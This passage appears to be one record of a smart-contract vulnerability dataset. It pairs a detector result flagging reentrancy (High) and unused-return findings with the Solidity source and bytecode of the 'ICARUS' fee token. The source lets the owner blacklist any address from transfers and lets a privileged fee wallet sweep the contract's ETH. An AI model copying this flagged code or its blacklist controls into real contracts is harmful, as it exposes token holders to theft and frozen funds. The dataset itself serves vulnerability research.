7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a81905550600a600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061232967016345785d8a0000600854611cef90919063ffffffff16565b8210156123475760085467016345785d8a0000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0c4d51710ba2229f63641965318b527836513259a1f7a56f3852ab5c1082d7064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,247
0x72775dfeef702127e6d7b8ddade4042e90cd0691
/** *Submitted for verification at Etherscan.io on 2021-09-26 */ /** * * $ICARUS * TG: https://t.me/icarus_erc * * No team tokens, no presale * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ICARUS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Icarus Token"; string private constant _symbol = unicode"ICARUS"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _cooldownEnabled = true; bool private _noTaxMode = false; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } _taxFee = 1; _teamFee = 6; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (10 seconds); } } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _taxFee = 1; _teamFee = 6; if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(8).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(8).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 10000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; buyLimitEnd = block.timestamp + (5 minutes); walletLimitDuration = block.timestamp + (10 minutes); _launchTime = block.timestamp; } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNotTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101845760003560e01c80636fc3eaec116100d1578063a985ceef1161008a578063c9567bf911610064578063c9567bf914610566578063cf0848f71461057d578063db92dbb6146105a6578063dd62ed3e146105d15761018b565b8063a985ceef146104fb578063b515566a14610526578063c3c8cd801461054f5761018b565b80636fc3eaec146103fd57806370a0823114610414578063715018a6146104515780638da5cb5b1461046857806395d89b4114610493578063a9059cbb146104be5761018b565b806327f3a72a1161013e578063437823ec11610118578063437823ec146103455780635932ead11461036e5780635d098b381461039757806368a3a6a5146103c05761018b565b806327f3a72a146102b2578063313ce567146102dd5780633bbac579146103085761018b565b806227fcdd1461019057806306fdde03146101b9578063095ea7b3146101e457806318160ddd1461022157806323b872dd1461024c578063273123b7146102895761018b565b3661018b57005b600080fd5b34801561019c57600080fd5b506101b760048036038101906101b29190613130565b61060e565b005b3480156101c557600080fd5b506101ce61068c565b6040516101db9190613573565b60405180910390f35b3480156101f057600080fd5b5061020b600480360381019061020691906130a7565b6106c9565b6040516102189190613558565b60405180910390f35b34801561022d57600080fd5b506102366106e7565b6040516102439190613715565b60405180910390f35b34801561025857600080fd5b50610273600480360381019061026e9190613054565b6106f8565b6040516102809190613558565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab9190612f8d565b6107d1565b005b3480156102be57600080fd5b506102c76108c1565b6040516102d49190613715565b60405180910390f35b3480156102e957600080fd5b506102f26108d1565b6040516102ff919061378a565b60405180910390f35b34801561031457600080fd5b5061032f600480360381019061032a9190612f8d565b6108da565b60405161033c9190613558565b60405180910390f35b34801561035157600080fd5b5061036c60048036038101906103679190612fe7565b610930565b005b34801561037a57600080fd5b5061039560048036038101906103909190613130565b6109ec565b005b3480156103a357600080fd5b506103be60048036038101906103b99190612fe7565b610ae4565b005b3480156103cc57600080fd5b506103e760048036038101906103e29190612f8d565b610c5b565b6040516103f49190613715565b60405180910390f35b34801561040957600080fd5b50610412610cb2565b005b34801561042057600080fd5b5061043b60048036038101906104369190612f8d565b610d24565b6040516104489190613715565b60405180910390f35b34801561045d57600080fd5b50610466610d75565b005b34801561047457600080fd5b5061047d610ec8565b60405161048a919061348a565b60405180910390f35b34801561049f57600080fd5b506104a8610ef1565b6040516104b59190613573565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e091906130a7565b610f2e565b6040516104f29190613558565b60405180910390f35b34801561050757600080fd5b50610510610f4c565b60405161051d9190613558565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906130e7565b610f63565b005b34801561055b57600080fd5b50610564611173565b005b34801561057257600080fd5b5061057b6111ed565b005b34801561058957600080fd5b506105a4600480360381019061059f9190612fe7565b611742565b005b3480156105b257600080fd5b506105bb6117fe565b6040516105c89190613715565b60405180910390f35b3480156105dd57600080fd5b506105f860048036038101906105f39190613014565b611830565b6040516106059190613715565b60405180910390f35b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661064f6118b7565b73ffffffffffffffffffffffffffffffffffffffff161461066f57600080fd5b80601360166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600c81526020017f49636172757320546f6b656e0000000000000000000000000000000000000000815250905090565b60006106dd6106d66118b7565b84846118bf565b6001905092915050565b6